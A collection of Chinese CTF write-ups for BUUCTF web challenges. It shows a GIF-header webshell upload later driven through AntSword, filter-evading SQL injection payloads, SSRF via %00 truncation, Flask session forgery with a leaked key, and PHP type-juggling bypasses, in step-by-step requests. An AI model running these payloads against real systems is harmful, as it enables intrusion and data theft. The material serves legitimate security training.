POST /upload_file.php HTTP/1.1
Host: cf39a324-4c5a-42d0-a020-7a01ad739e8a.node3.buuoj.cn
Content-Length: 357
Cache-Control: max-age=0
Origin: http://cf39a324-4c5a-42d0-a020-7a01ad739e8a.node3.buuoj.cn
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBByTX7Iv10xXTIlV
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36 Edg/89.0.774.50
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://cf39a324-4c5a-42d0-a020-7a01ad739e8a.node3.buuoj.cn/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,en-GB;q=0.6
Connection: close

------WebKitFormBoundaryBByTX7Iv10xXTIlV
Content-Disposition: form-data; name="file"; filename="1.phtml"
Content-Type: application/octet-stream

GIF89a
 
------WebKitFormBoundaryBByTX7Iv10xXTIlV
Content-Disposition: form-data; name="submit"

提交
------WebKitFormBoundaryBByTX7Iv10xXTIlV--

修改文件类型为:

POST /upload_file.php HTTP/1.1
Host: cf39a324-4c5a-42d0-a020-7a01ad739e8a.node3.buuoj.cn
Content-Length: 357
Cache-Control: max-age=0
Origin: http://cf39a324-4c5a-42d0-a020-7a01ad739e8a.node3.buuoj.cn
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBByTX7Iv10xXTIlV
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36 Edg/89.0.774.50
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://cf39a324-4c5a-42d0-a020-7a01ad739e8a.node3.buuoj.cn/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,en-GB;q=0.6
Connection: close

------WebKitFormBoundaryBByTX7Iv10xXTIlV
Content-Disposition: form-data; name="file"; filename="1.phtml"
Content-Type: image/jpeg

GIF89a
 
------WebKitFormBoundaryBByTX7Iv10xXTIlV
Content-Disposition: form-data; name="submit"

提交
------WebKitFormBoundaryBByTX7Iv10xXTIlV--

这样上传就会成功。

猜测上传路径为

upload/1.phtml

利用蚁剑空白区域右击添加数据,设置如下:

URL地址  http://cf39a324-4c5a-42d0-a020-7a01ad739e8a.node3.buuoj.cn/upload/1.phtml
连接密码 shell
网站备注
编码设置 UTF8
连接类型 PHP

其他不变。密码可以随便设置,要跟eval($_POST['shell']);一致。

连接后查看网站文件,在根目录发现flag。

[极客大挑战 2019]BabySQL

输入

1'

网页显示:

Error!
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1'' at line 1

说明查询语句单引号闭合。

我们先判断列数:

1' order by 3 #

网页显示:

Error!
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'der 3 #' and password='1'' at line 1

注意到orderor,和by被过滤了。猜测是被replace函数替换成了空字符。可以双写绕过:

1' oorrder bbyy 3 #

没有报错,再输入:

1' oorrder bbyy 4 #

网页报错:

Error!
Unknown column '4' in 'order clause'

说明有三个字段。

使用union查询回显点位:

1' union select 1,2,3#

网页回显:

Error!
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1,2,3#' and password='1'' at line 1

发现unionselect都被过滤了,所以考虑双写绕过:

1' ununionion sselectelect 1,2,3#

网页回显:

Login Success!
Hello 2!
Your password is '3'

说明回显点位为2和3,查询当前数据库名及版本:

1' ununionion sselectelect 1,database(),version()#

网页回显:

Login Success!
Hello geek!
Your password is '10.3.18-MariaDB'

查询数据库geek里面的表名:

1' ununionion sselectelect 1, 2, group_concat(table_name) from information_schema.tables where table_schema='geek' #

网页回显:

Error!
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '.tables table_schema='geek' #' and password='1'' at line 1

说明wherefrom被过滤了,考虑双写绕过:

1' ununionion sselectelect 1, 2, group_concat(table_name) frfromom information_schema.tables whwhereere table_schema='geek' #

网页回显:

Error!
Table 'infmation_schema.tables' doesn't exist

or也被过滤了:

1' ununionion sselectelect 1, 2, group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek' #

网页回显:

Login Success!
Hello 2!
Your password is 'b4bsql,geekuser'

查询数据库geek中表b4bsql中所有字段名称,补全必要的双写绕过:

1' ununionion selselectect 1, 2, group_concat(column_name) frfromom infoorrmation_schema.columns whewherere table_schema='geek' aandnd table_name='b4bsql' #

网页回显:

Hello 2!
Your password is 'id,username,password'

查询数据库geek中表b4bsqlpassword字段的值,补全必要的双写绕过:

1' ununionion selselectect 1, 2, group_concat(passwoorrd) frfromom geek.b4bsql #

网页回显:

Login Success!
Hello 2!
Your password is 'i_want_to_play_2077,sql_injection_is_so_fun,do_you_know_pornhub,github_is_different_from_pornhub,you_found_flag_so_stop,i_told_you_to_stop,hack_by_cl4y,flag{404818fd-bcde-4003-979c-59ac0de9d6ff}'

得到flag。

References

https://blog.nowcoder.net/n/82c9495f79944e819edf38dd6ccbe71c

[极客大挑战 2019]LoveSQL

[ACTF2020 新生赛]Upload

进网站看见灯泡。

上传php文件,提示上传的文件只能以.gif .jpg .png结尾。

新建1.git文件,写入:

GIF89a

用burp拦截:

POST / HTTP/1.1
Host: 94c27b80-5aa0-471b-8cb2-05fe0cf33c30.node3.buuoj.cn
Content-Length: 346
Cache-Control: max-age=0
Origin: http://94c27b80-5aa0-471b-8cb2-05fe0cf33c30.node3.buuoj.cn
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLh8rQpr1L4KwIAml
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 Edg/89.0.774.54
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://94c27b80-5aa0-471b-8cb2-05fe0cf33c30.node3.buuoj.cn/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,en-GB;q=0.6
Connection: close

------WebKitFormBoundaryLh8rQpr1L4KwIAml
Content-Disposition: form-data; name="upload_file"; filename="1.gif"
Content-Type: image/gif

GIF89a

------WebKitFormBoundaryLh8rQpr1L4KwIAml
Content-Disposition: form-data; name="submit"

upload
------WebKitFormBoundaryLh8rQpr1L4KwIAml--

改为:

POST / HTTP/1.1
Host: 94c27b80-5aa0-471b-8cb2-05fe0cf33c30.node3.buuoj.cn
Content-Length: 346
Cache-Control: max-age=0
Origin: http://94c27b80-5aa0-471b-8cb2-05fe0cf33c30.node3.buuoj.cn
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLh8rQpr1L4KwIAml
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 Edg/89.0.774.54
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://94c27b80-5aa0-471b-8cb2-05fe0cf33c30.node3.buuoj.cn/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,en-GB;q=0.6
Connection: close

------WebKitFormBoundaryLh8rQpr1L4KwIAml
Content-Disposition: form-data; name="upload_file"; filename="1.phtml"
Content-Type: image/gif

GIF89a

------WebKitFormBoundaryLh8rQpr1L4KwIAml
Content-Disposition: form-data; name="submit"

upload
------WebKitFormBoundaryLh8rQpr1L4KwIAml--

然后发送,网页发现页面回显上传的文件的相对路径:

嘿伙计,你发现它了! 1.gif 
Upload Success! Look here~ ./uplo4d/b284530b9d2636c66a4e6f32315ccac3.phtml

利用蚁剑空白区域右击添加数据,设置如下:

URL地址  http://94c27b80-5aa0-471b-8cb2-05fe0cf33c30.node3.buuoj.cn/uplo4d/b284530b9d2636c66a4e6f32315ccac3.phtml
连接密码 shell
网站备注
编码设置 UTF8
连接类型 PHP

其他不变。密码可以随便设置,要跟$_POST[“shell”]一致。

连接后查看网站文件,发现flag。

[ACTF2020 新生赛]BackupFile

进入网站提示:

Try to find out source file!

dirsearch扫描网页,输入命令:

python dirsearch.py -u http://2e597051-4127-46a9-90f4-45dab9e5f8cf.node3.buuoj.cn/ -e * -x 429,503 -w db/mylist.txt

发现index.php.bak文件,下载后查看php源码:


include_once "flag.php";

if(isset($_GET['key'])) {
     
    $key = $_GET['key'];
    if(!is_numeric($key)) {
     
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
     
        echo $flag;
    }
}
else {
     
    echo "Try to find out source file!";
}

intval() 函数用于获取变量的整数值。

intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量varinteger数值。 intval()不能用于object,否则会产生E_NOTICE错误并返回1


echo intval(42);                      // 42
echo intval(4.2);                     // 4
echo intval('42');                    // 42
echo intval('+42');                   // 42
echo intval('-42');                   // -42
echo intval(042);                     // 34
echo intval('042');                   // 42
echo intval(1e10);                    // 1410065408
echo intval('1e10');                  // 1
echo intval(0x1A);                    // 26
echo intval(42000000);                // 42000000
echo intval(420000000000000000000);   // 0
echo intval('420000000000000000000'); // 2147483647
echo intval(42, 8);                   // 42
echo intval('42', 8);                 // 34
echo intval(array());                 // 0
echo intval(array('foo', 'bar'));     // 1
?>

php中两个等于号是弱等于取str123key进行比较,(弱比较:如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行,在比较时该字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0。所以直接传入key=123就行)。

输入url:

/?key=123

得到flag。

References

https://blog.csdn.net/weixin_45674567/article/details/106412484

[GKCTF2020]cve版签到

进入网站显示:

View CTFHub
You just view *.ctfhub.com

点击View CTFHub,用burp Suite拦截。

GET /?url=www.ctfhub.com HTTP/1.1
Host: ba283a1d-cc4a-4ad6-8719-dc856f8371cd.node3.buuoj.cn
Upgrade-Insecure-Requests: 1
DNT: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 Edg/89.0.774.54
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://ba283a1d-cc4a-4ad6-8719-dc856f8371cd.node3.buuoj.cn/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,en-GB;q=0.6
Connection: close

You just view *.ctfhub.com 就是只能访问ctfhub.com,但我们又想访问内网,所以用%00绕过,修改请求:

GET /?url=http://127.0.0.1%00www.ctfhub.com HTTP/1.1
Host: ba283a1d-cc4a-4ad6-8719-dc856f8371cd.node3.buuoj.cn
Upgrade-Insecure-Requests: 1
DNT: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 Edg/89.0.774.54
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://ba283a1d-cc4a-4ad6-8719-dc856f8371cd.node3.buuoj.cn/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,en-GB;q=0.6
Connection: close

响应:

HTTP/1.1 200 OK
Server: openresty
Date: Mon, 15 Mar 2021 17:30:01 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 384
Connection: close
Hint: Flag in localhost
Vary: Accept-Encoding
X-Powered-By: PHP/7.3.15

Array
(
    [0] => HTTP/1.1 200 OK
    [1] => Date: Mon, 15 Mar 2021 17:30:15 GMT
    [2] => Server: Apache/2.4.38 (Debian)
    [3] => X-Powered-By: PHP/7.3.15
    [4] => Tips: Host must be end with '123'
    [5] => Vary: Accept-Encoding
    [6] => Content-Length: 113
    [7] => Connection: close
    [8] => Content-Type: text/html; charset=UTF-8
)


响应提示只能用127.0.0.123访问,修改请求:

GET /?url=http://127.0.0.123%00www.ctfhub.com HTTP/1.1
Host: ba283a1d-cc4a-4ad6-8719-dc856f8371cd.node3.buuoj.cn
Upgrade-Insecure-Requests: 1
DNT: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 Edg/89.0.774.54
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://ba283a1d-cc4a-4ad6-8719-dc856f8371cd.node3.buuoj.cn/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,en-GB;q=0.6
Connection: close

响应:

HTTP/1.1 200 OK
Server: openresty
Date: Mon, 15 Mar 2021 17:31:40 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 399
Connection: close
Hint: Flag in localhost
Vary: Accept-Encoding
X-Powered-By: PHP/7.3.15

Array
(
    [0] => HTTP/1.1 200 OK
    [1] => Date: Mon, 15 Mar 2021 17:31:54 GMT
    [2] => Server: Apache/2.4.38 (Debian)
    [3] => X-Powered-By: PHP/7.3.15
    [4] => FLAG: flag{683033ab-dfd0-4df8-8b04-008ecd22917a}
    [5] => Vary: Accept-Encoding
    [6] => Content-Length: 113
    [7] => Connection: close
    [8] => Content-Type: text/html; charset=UTF-8
)


得到flag。

[HCTF 2018]admin

方法一

进入网页,显示:

hctf
Welcome to hctf

按F12,发现注释:


说明我们要以admin的身份登录。尝试以弱密码123,结果登陆成功。

方法二 Unicode欺骗

test为用户名注册一个账号,再进入修改密码页面,按F12,发现注释:


再GitHub上面下载源码,查看changeregisterlogin函数:

def change():
    if not current_user.is_authenticated:
        return redirect(url_for('login'))
    form = NewpasswordForm()
    if request.method == 'POST':
        name = strlower(session['name'])
        user = User.query.filter_by(username=name).first()
        user.set_password(form.newpassword.data)
        db.session.commit()
        flash('change successful')
        return redirect(url_for('index'))
    return render_template('change.html', title = 'change', form = form)
def login():
    if current_user.is_authenticated:
        return redirect(url_for('index'))

    form = LoginForm()
    if request.method == 'POST':
        name = strlower(form.username.data)
        session['name'] = name
        user = User.query.filter_by(username=name).first()
        if user is None or not user.check_password(form.password.data):
            flash('Invalid username or password')
            return redirect(url_for('login'))
        login_user(user, remember=form.remember_me.data)
        return redirect(url_for('index'))
    return render_template('login.html', title = 'login', form = form)
def register():

    if current_user.is_authenticated:
        return redirect(url_for('index'))

    form = RegisterForm()
    if request.method == 'POST':
        name = strlower(form.username.data)
        if session.get('image').lower() != form.verify_code.data.lower():
            flash('Wrong verify code.')
            return render_template('register.html', title = 'register', form=form)
        if User.query.filter_by(username = name).first():
            flash('The username has been registered')
            return redirect(url_for('register'))
        user = User(username=name)
        user.set_password(form.password.data)
        db.session.add(user)
        db.session.commit()
        flash('register successful')
        return redirect(url_for('login'))
    return render_template('register.html', title = 'register', form = form)

发现转化名字的时候会使用strlower函数,但一般python转小写都用lower()函数,这里可能有问题。

查看strlower函数:

**def strlower(username):
    username = nodeprep.prepare(username)
    return username**

使用了nodeprep.prepare()函数,源于twisted库。

References

https://skysec.top/2018/11/12/2018-HCTF-Web-Writeup/

使用https://unicode-table.com/cn/blocks/phonetic-extensions/ 这里面的特殊字母,nodeprep.prepare()函数可以对字母做出如下操作:

ᴀ -> A -> a

所以我们想到攻击链

  • 注册用户ᴀdmin
  • 登录用户ᴀdmin,变成Admin
  • 修改密码Admin,更改了admin的密码

方法三 session伪造

查看源码,发现:

{% include('header.html') %}
{% if current_user.is_authenticated %}
<h1 class="nav">Hello {
    { session['name'] }}h1>
{% endif %}
{% if current_user.is_authenticated and session['name'] == 'admin' %}
<h1 class="nav">hctf{xxxxxxxxx}h1>
{% endif %}

<h1 class="nav">Welcome to hctfh1>

{% include('footer.html') %}

先注册一个账号,以test为用户名登陆, flasksession都是在本地的,通过一个SECRET_KEY进行签名,可以伪造session绕过。

序列化session的主要过程,序列化的操作分如下几步:

  1. json.dumps 将对象转换成json字符串,作为数据
  2. 如果数据压缩后长度更短,则用zlib库进行压缩
  3. 将数据用base64编码
  4. 通过hmac算法计算数据的签名,将签名附在数据后,用“.”分割

第4步就解决了用户篡改session的问题,因为在不知道secret_key的情况下,是无法伪造签名的。

References

https://www.leavesongs.com/PENETRATION/client-session-security.html

使用脚本解码sessionflask的特点是将session保存在cookies中,按F12,在应用程序-cookies里面找到session

.eJxFkMFqwkAQhl-lzNnDuuYkeKisSoXZENkk7Fyk1ejuJKuQREwjvnsXKe1pDv983zD_A_antuoczPv2Vk1g748wf8DbF8whLTOpy12wvBqsaZyVmdAKE8vZQLyscaSgzdHhZu1Jxb3SflOJQnOckUGzcxTyKRrttbJ35PdBlx_SGnKpOgjkxqGhmjaRNY3HTdGQOrIe62i2UwrUaJmL1Gx9qgpvw5ZRrhIy5xmaNVtZBDui1NIu4DmBQ9ee9v21ri7_L6jzTI-Hux6XLi1xFvGRzDYgr5KoZeKGU5XHc3mCXLDlXOhs8dL58Hmu_kworoP5TS6fIQbQV10PE7h1VfuqDaYCnj-v7m2U.YFFnqA.ld6oFaRI5xwVxPlp8gqKDjVT3kw

使用脚本解码session

References

https://github.com/noraj/flask-session-cookie-manager

运行脚本,输入:

python flask_session_cookie_manager3.py decode -c .eJw9kMGKwkAQRH9l6bOHJJrDCh42zCgu9ISV0dB9EY0xzkziQhKJjvjvG13wVNBVvKbqDttjU7QnmHbNpRjB1hxgeoePPUyBhQuUyAPSyUlpupF3EWXLGH0Zs64c2cRxjT1G8kb221Eme2W_JmwxxAVbFjRGPzdcLyMWqxPbPMDsZ_xkoU8MCjapljHZuXn-IJ9fWa97zDBS3sVo2VG9HthcqUFTQYF6secGNQXkKVS27FGsZ_AYQd42x23364rzuwJmmyrN5CQVlVFWDvHcKyFDilZmuIdK4JV8MmRWjqJNjZor7GcvnKl3ZfEmHeRnuC__nfOuHgzoiraDEVzaonnNBmEAjz8-fWz5.YFIK-g.Ddh72dq63YJgfOI9c-n1SHto9wg

输出:

{"_fresh":true,"_id":{" b":"ZDk0NDc0YTBhNTYyYzk2YWI5Mzg5ZTlkYjBkZmMwM2EyYjJkYWEwNjA4ZjM1MGZjZDY3MzFiZmI2ZDRhZjc0MWQ3NTYyMzBiMDZiOTE5YjFiYTBhYzcxZTUwMWM2Nzk5MjZkYmUyYjZlNmUyODY0NjM1MGFiMTY0YzY1NjgwMDU="},"csrf_token":{" b":"MWVlOWE4ODliNjE1NjczNDE1Y2RiOWE1NDMxYzBlOWRkY2VmMTZlMw=="},"image":{" b":"dE91bg=="},"name":"test","user_id":"10"}

发现当前是以用户名test登录,可以尝试将其修改为admin后重新签名。

config.py文件里发现:

import os

class Config(object):
    SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
    SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'
    SQLALCHEMY_TRACK_MODIFICATIONS = True

发现SECRET_KEY泄露,用ckj123签名,输入:

python flask_session_cookie_manager3.py encode -t "{'_fresh':True,'_id': b'd94474a0a562c96ab9389e9db0dfc03a2b2daa0608f350fcd6731bfb6d4af741d756230b06b919b1ba0ac71e501c679926dbe2b6e6e28646350ab164c6568005','csrf_token':b'1ee9a889b615673415cdb9a5431c0e9ddcef16e3','image':b'tOun','name':'admin','user_id':'10'}" -s ckj123

注意把_idcsrf_token的值base64解码,把这两个key后面的花括号删掉,把双引号改成单引号,还有把true改为True

输出:

.eJw9kEGLwjAQhf_KMmcPbbWHFTxsSRQXJmUlWmYuorXWJI0LValG_O9bXfD0YN7jG967w3rfVqcDjM_tpRrA2uxgfIePLYyBhYuUKCPS2UFpulFwCRXzFEOdsm4c2cyxxw4TeSP77aiQnbJfI7YY44wtCxpimBr284TF4sC2jLD4GT5ZGDKDgk2uZUp2ap4_KJRX1ssOC0xUcCladuSXPZsb1WsuKFIv9tSgpogCxcrWHYrlBB4DKE_tfn3-ddXxXQGLVZMXcpSLxigr-3gZlJAxJQvT32Ml8Eoh6zMLR8nKo-YGu8kLZ_ymrt6knfyMt_W_c9z43oDNzpsjDOByqtrXbhBH8PgDq1ltQg.YFIMgw.9iLYmhLVnAx7uyaVbCnkfoDEchs

用burp Suite构造请求:

GET /index HTTP/1.1
Host: 78743fde-04ab-4167-9bdb-2d5c2c243426.node3.buuoj.cn
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 Edg/89.0.774.54
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://78743fde-04ab-4167-9bdb-2d5c2c243426.node3.buuoj.cn/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,en-GB;q=0.6
Cookie: session=.eJw9kEGLwjAQhf_KMmcPbbWHFTxsSRQXJmUlWmYuorXWJI0LValG_O9bXfD0YN7jG967w3rfVqcDjM_tpRrA2uxgfIePLYyBhYuUKCPS2UFpulFwCRXzFEOdsm4c2cyxxw4TeSP77aiQnbJfI7YY44wtCxpimBr284TF4sC2jLD4GT5ZGDKDgk2uZUp2ap4_KJRX1ssOC0xUcCladuSXPZsb1WsuKFIv9tSgpogCxcrWHYrlBB4DKE_tfn3-ddXxXQGLVZMXcpSLxigr-3gZlJAxJQvT32Ml8Eoh6zMLR8nKo-YGu8kLZ_ymrt6knfyMt_W_c9z43oDNzpsjDOByqtrXbhBH8PgDq1ltQg.YFIMgw.9iLYmhLVnAx7uyaVbCnkfoDEchs
Connection: close

响应:

Hello admin

flag{a993f74f-6031-4b15-80f6-6dbe7877b0e5}

Welcome to hctf

得到flag。

References

https://darkwing.moe/2019/11/04/HCTF-2018-admin/

https://www.cnblogs.com/chrysanthemum/p/11722351.html

[极客大挑战 2019]BuyFlag

打开网页侧边栏,进入PAYFLAG页面,按F12,发现注释代码:


发现要发送passwordmoneyPOST请求,如果按照要求money=100000000,网页返回长度有问题,猜测是strcmp函数检测的。绕过strcmp()函数漏洞,这一个漏洞适用与5.3之前版本的php

示例代码:


$flag = "flag{xxxxx}";
if (isset($_GET['a'])) {
     
if (strcmp($_GET['a'], $flag) == 0)
die('Flag: '.$flag);
else
print 'No';
}
?>

使用GET方法获取参数a,使用strcmp()函数比较$flag与用户输入的值。传入的期望类型是字符串类型的数据 ,但是这个函数当接受到不符合字符串类型的参数就会发生错误,并返回0,所以我们只需要提交一个非字符串类型的参数即可使得判断条件成立,比如使用数组类型。因为strcmp()无法比较数组,则报错并返回00==0成立,则输出flag。

发送请求:

POST /pay.php HTTP/1.1
Host: ab1afc64-94ca-4af2-9725-8990b07e1a09.node3.buuoj.cn
Content-Length: 32
Cache-Control: max-age=0
Origin: http://ab1afc64-94ca-4af2-9725-8990b07e1a09.node3.buuoj.cn
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 Edg/89.0.774.57
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://ab1afc64-94ca-4af2-9725-8990b07e1a09.node3.buuoj.cn/pay.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,en-GB;q=0.6
Cookie: user=1
Connection: close

password=404%0A&money[]=1

得到flag。最简请求:

POST /pay.php HTTP/1.1
Host: ab1afc64-94ca-4af2-9725-8990b07e1a09.node3.buuoj.cn
Content-Type: application/x-www-form-urlencoded
Cookie: user=1
Content-Length: 25

password=404%0A&money[]=1

References

https://crayon-xin.github.io/2018/05/21/strcmp字符串比较绕过/

https://segmentfault.com/a/1190000022537069

[SUCTF 2019]CheckIn

题目提示有github源码,但比赛时肯定没有源码。先试一下常规方法,上传php文件,发现不行。改成其他如.aaa后缀名,提示:<? in contents!,说明不能有符号,存在黑名单过滤,把文件内容换一下,发现回显:exif_imagetype:not image!,猜测后端调用了php的exif_imagetype()函数,这个可以添加图片文件头绕过,新建.jpg文件,写入:

GIF89a
test

发现上传成功。文件的内容不能包含,但可以上传

上传。

然后访问url,执行上传路径下的可执行文件index.php

http://fef641dc-b356-45f6-939a-dcb08c912fd0.node3.buuoj.cn/uploads/d99081fe929b750e0557f85e6499103f/index.php

得到flag,也可以通过

GIF89a

用蚁剑连接。

.user.ini的利用条件:

  1. 服务器脚本语言为PHP
  2. 服务器使用CGI/FastCGI模式
  3. 上传目录下要有可执行的php文件

[BJDCTF2020]Easy MD5

进网站只有一个等待输入的文本框,试了一下,sql注入没有反应。

没有思路的时候就用burp suite抓一下包。刷新页面后,页面响应:

HTTP/1.1 200 OK
Server: openresty
Date: Sat, 20 Mar 2021 02:30:45 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Hint: select * from 'admin' where password=md5($pass,true)
X-Powered-By: PHP/7.3.13
Content-Length: 3107

提示为select * from 'admin' where password=md5($pass,true),因此我们需要一个or语句,让整个语句恒成立,所以我们要让md5($pass,true),在password加密后出现or这个词。我们找到了一个密码刚好满足这个特性

ffifdyop

利用脚本获取符合条件的字符串:

 
for ($i = 0;;) {
      
 for ($c = 0; $c < 1000000; $c++, $i++)
  if (stripos(md5($i, true), '\'or\'') !== false)
   echo "\nmd5($i) = " . md5($i, true) . "\n";
 echo ".";
}
?>

References

https://www.icode9.com/content-4-663981.html

ffifdyopmd5加密后若raw参数为True时会返回'or'6其实就是一些乱码和不可见字符,这里只要第一位是非零数字即可被判定为True,后面的会在MySQL将其转换成整型比较时丢掉,此时后端的SQL语句会变成:

select * from `admin` where password=''or'6'

or后面的句子第一个字母是非0打头的数字符,比如为1abc或者-1bde都会被认为是true,以0开头会认为是false

References

https://blog.nowcoder.net/n/95754e3b877e4c758798430951c44f97

输入ffifdyop,点击提交按钮后进入下一关,网页提示Do You Like MD5?,按F12,发现注释:


md5弱类型比较,这里可以用很多字符串绕过:

QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

s214587387a
0e848240448830537924465865611904

s214587387a
0e848240448830537924465865611904

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

s1885207154a
0e509367213418206700842008763514

s1502113478a
0e861580163291561247404381396064

s1885207154a
0e509367213418206700842008763514

0e861580163291561247404381396064

s1885207154a
0e509367213418206700842008763514

s1836677006a
0e481036490867661113260034900752

s155964671a
0e342768416822451524974117254469

s1184209335a
0e072485820392773389523109082030

s1665632922a
0e731198061491163073197128363787

s1502113478a
0e861580163291561247404381396064

s1836677006a
0e481036490867661113260034900752

s1091221200a
0e940624217856561557816327384675

s155964671a
0e342768416822451524974117254469

s1502113478a
0e861580163291561247404381396064

s155964671a
0e342768416822451524974117254469

s1665632922a
0e731198061491163073197128363787

s155964671a
0e342768416822451524974117254469

s1091221200a
0e940624217856561557816327384675

s1836677006a
0e481036490867661113260034900752

s1885207154a
0e509367213418206700842008763514

s532378020a
0e220463095855511507588041205815

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

s214587387a
0e848240448830537924465865611904

s1502113478a
0e861580163291561247404381396064

s1091221200a
0e940624217856561557816327384675

s1665632922a
0e731198061491163073197128363787

s1885207154a
0e509367213418206700842008763514

s1836677006a
0e481036490867661113260034900752

s1665632922a
0e731198061491163073197128363787

s878926199a
0e545993274517709034328855841020

0e开头会被解析为科学记数法,但底数为0,所以不管e后面是什么,最后都会被解析为0

在浏览器输入url:

http://faf314f1-b8e3-4e74-bfb8-45cac76785b3.node3.buuoj.cn/levels91.php?a=QNKCDZO&b=s878926199a

网页显示php源码:


error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
     
    echo $flag;
}

由于md5解析不了数组,返回空,空===空,所以可以绕过===md5函数的参数是一个数组值,会导致函数返回false。除了md5之外sha1函数也有这个特性。

References

https://blog.csdn.net/qq_44105778/article/details/89817842

https://my.oschina.net/u/4859962/blog/4756106

HackBar发送post请求,post的Body部分为:

param1[]=a¶m2[]=b

点击EXECUTE,得到flag。

也可以用Burp Suite构造请求获得flag:

POST /levell14.php HTTP/1.1
Host: faf314f1-b8e3-4e74-bfb8-45cac76785b3.node3.buuoj.cn
Content-Length: 29
Cache-Control: max-age=0
Origin: http://faf314f1-b8e3-4e74-bfb8-45cac76785b3.node3.buuoj.cn
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
